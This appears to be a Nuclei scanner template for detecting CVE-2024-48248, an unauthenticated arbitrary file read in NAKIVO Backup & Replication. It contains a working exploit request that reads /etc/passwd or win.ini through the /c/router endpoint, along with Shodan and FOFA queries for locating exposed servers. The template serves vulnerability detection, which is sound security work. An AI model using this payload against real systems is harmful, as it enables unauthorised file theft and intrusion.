id: CVE-2024-48248

info:
  name: NAKIVO Backup and Replication Solution - Unauthenticated Arbitrary File Read
  author: DhiyaneshDK
  severity: high
  description: |
    NAKIVO Backup & Replication is a data protection solution used for backing up and restoring virtualized and physical environments. A vulnerability has been identified in certain versions of NAKIVO Backup & Replication that allows an unauthenticated attacker to read arbitrary files on the underlying system.
  reference:
    - https://labs.watchtowr.com/the-best-security-is-when-we-all-agree-to-keep-everything-secret-except-the-secrets-nakivo-backup-replication-cve-2024-48248/
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"NAKIVO"
    fofa-query: title="NAKIVO"
  tags: cve,cve2024,nakivo,backup,lfi

variables:
  string: "{{to_lower(rand_base(5))}}"

http:
  - raw:
      - |
        POST /c/router HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate, br
        Accept: */*
        Connection: keep-alive
        Content-Type: application/json

        {"action": "STPreLoadManagement", "data": ["{{path}}"], "method": "getImageByPath", "sid": "", "tid": "{{string}}", "type": "{{string}}"}

    payloads:
      path:
        - /etc/passwd
        - C:/windows/win.ini

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: dsl
        name: linux
        dsl:
          - "regex('114,111,111,116,58,.*,58,48,58,48,58', body)"
          - "contains(body, 'STPreLoadManagement')"
          - "status_code == 200"
        condition: and

      - type: dsl
        name: windows
        dsl:
          - "contains(body, '59,32,102,111,114')"
          - "contains(body, 'STPreLoadManagement')"
          - "status_code == 200"
        condition: and
# digest: 4a0a0047304502207bea0f5071c0f1b251a9b15b2b91dc21aa28142074b789068f4038991034d6fb022100e1521477e6cb2c7033351baca3151ff644a9a6d7bd9c6b3b9c0e7afc5e086633:922c64590222798bb761d5b6d8e72950